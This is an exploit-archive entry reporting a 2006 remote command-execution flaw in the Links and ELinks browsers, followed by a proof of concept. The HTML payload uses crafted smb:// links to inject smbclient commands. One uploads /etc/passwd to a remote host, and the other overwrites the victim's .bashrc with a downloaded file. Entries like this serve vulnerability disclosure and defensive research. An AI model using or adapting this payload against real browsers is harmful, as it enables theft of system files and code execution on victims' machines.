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Links_ ELinks smbclient - Remote Command Execution

🗓️ 18 Nov 2006 00:00:00Reported by Teemu SalmelaType 
exploitpack
 exploitpack
👁 12 Views

Links and ELinks prone to remote command execution vulnerability due to improper processing of 'smb' command

Code
source: https://www.securityfocus.com/bid/21082/info

Links and ELinks are prone to a remote command-execution vulnerability because the applications fail to properly process website data containing 'smb' commands.

An attacker can exploit this issue to execute arbitrary 'smb' commands on a victim computer. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

Links 1.00pre12 and ELinks 0.11.1 are vulnerable; other versions may also be affected.

NOTE: This vulnerability may be exploited only if 'smbclient' is installed on a target computer.

<html> <a href='smb://www.example.com/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a> <a href='smb://www.example.com/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a> </html>

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